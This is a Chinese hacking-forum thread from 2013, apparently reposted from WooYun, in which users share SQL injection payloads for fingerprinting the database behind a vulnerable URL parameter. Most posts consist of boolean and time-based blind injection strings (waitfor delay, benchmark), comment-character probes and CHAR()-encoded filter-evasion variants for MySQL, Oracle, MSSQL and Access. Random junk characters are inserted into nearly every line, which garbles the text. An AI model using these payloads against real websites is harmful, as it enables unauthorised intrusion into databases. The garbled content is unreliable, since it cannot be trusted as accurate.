找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
3 B$ g1 C& _7 L+ V2 r  exsser (十根阳具有长短!!) | 2013-02-05 12:36
" `7 u& ~: |2 E) k  F; K& M假设这么一个注射点:
% _$ p. e" N: G5 @: l8 F5 j( Xshow.html?id=2
% c: G! U. L% k1 }4 K5 Bmysql:id=2 and version()>04 T  h4 S7 w3 P# u  J  _
oracle:id=2 and '1'||'1'='11
/ l. G7 S& q; U6 F$ z其他的欢迎补充
0 G# h; N- ~/ a) ~$ F# V: ~" j1#+ v. v3 b6 I; m7 }; J1 F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47; p1 r( f* P' \: Q; f( I+ _
Access:
; e" V$ j! A' TaNd aSc(cHr(97))=97
( i' ^: F: z! W% \, E7 d8 d" {and exists(select id from MSysAccessObjects)! c- n; k7 e' K! V0 W1 i
SQL Server:/ X$ C! K& f; I1 }& S1 S& D/ J
and exists(select id from sysobjects)
0 L1 F# F: H3 L! f2 Y& w8 t4 y6 land length(user)>0
3 i* U. s) [1 _: Q# |" e& N/ |, sMySQL:3 T4 L1 G, o; }) A+ E% [
and length(user())>0
/ {* T3 b% N; N2#
' r! U4 s- K5 S* v7 mxsser (十根阳具有长短!!) | 2013-02-05 12:486 a) C. K1 [" B2 w2 X1 i  |: ?
@upload 如果这些都不是呢…
1 A; P8 z9 C/ a3#
; |4 ~( f% l6 Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03: k/ n' H4 h7 a  k/ }/ ^; a) A* \
@xsser 不快速的,延时注入
; l1 u  {. O! I& a9 w8 ~8 W- F) Z不知道这样写对不对& J  I8 ^  n# s3 Z3 l
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
1 l" S) i1 ]( T9 umysql:id=2 and select benchmark(1e8,current_date());
+ E* K& f, D! p% Y  D4#
/ m9 w7 g% p# [% Lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:104 X! f- Z9 O; {6 P
最快的貌似是看报错信息
! z( _0 S; _! o# D9 Voracle error4 _, `/ i2 w+ {: L/ k% b6 N5 f! d
mssql error
3 y* {! I0 d1 _! z* D: B7 V2 V# Omysql error/ R2 c5 j  y( j
5#5 g" {( L9 D/ M6 p/ A
Nimda (你们都是坏银~) | 2013-02-05 13:14" v1 n. `2 z6 ?0 r3 X: k
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
. Q* \: f% q! X7 i: s6#& g" n9 A6 I, O7 {5 \( m- S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
8 s- [' ~6 f2 Z; l0 O/ |“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
4 E- v4 `4 o- E- X“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
; I% U+ I2 c: ?! _" l- n“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。& q0 y6 I0 z0 a( T
7#8 o$ {* D6 z  _& B# C
_Evil (HackEnd) | 2013-02-05 13:334 K% w* |" I7 Y$ c) I0 H
PostgreSQL: \' u# {% I4 [- \# Q
8#; Q2 S8 f; D& t3 M+ v, B  ]
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42  `4 n- b0 s$ f2 Y
切换编码 and 1=1" Q. |8 q- E, h, Y- s. m  q% z& J
oracle:
9 W; V5 x' G. F* ACHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)# H( c0 ~- v0 {7 k/ r; m, i  U
mssql:
4 ]! Y3 g0 X; S/ e. E+ o# A# kCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49): u' e) a& W9 y3 `5 w' c
mysql:; n* N0 M+ x  k7 |: T& V% C* a
CHAR(97, 110, 100, 32, 49, 61, 49)
; W5 [( J0 A# S( l% U6 R* d9#6 ]$ Q+ ^& \: a
xsser (十根阳具有长短!!) | 2013-02-05 14:31# L+ B" w0 [/ J9 @( V
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?% N: l/ b/ B! I2 `# Q* K+ @8 B
10#& k/ @! u1 x9 e- \& t
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46% l* O4 w' R0 n% s' z2 A1 I. Z
@xsser 是奇葩数据库类型的么?
5 [3 }( w5 c) i8 D( i6 H2 M根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
( w0 a5 D5 g( o' j8 J2 A3 [1.是否可以使用特定的函数来判断,该数据库特有的/ c* l! O/ y2 G7 u: Q) H+ |
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等7 x0 q. j% o: r; f
3.是否可以编码查询- J3 r. E2 R5 y8 n3 V
4.是否显可以利用错信息
- E" @3 N+ Q0 {8 A8 S& n5.是否存在数据库某些特性辅助判断6 h  @8 p: D# M" D9 b- ?: r3 K
个人见解
1 I( @( K6 L+ o1 f0 m11#
, @% v5 d; U) A  P/ ?5 H小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:550 q- a2 o( M: r3 R
已收藏,mssql可以直接看到错误提示的吧~
( J, j- A4 {: _% \- |12#' L! k0 E  w# b& z
Passer_by | 2013-02-05 15:09
, y# R+ n2 B4 n0 U8 E曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
. Y* @6 v: E4 Z* y2 tfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表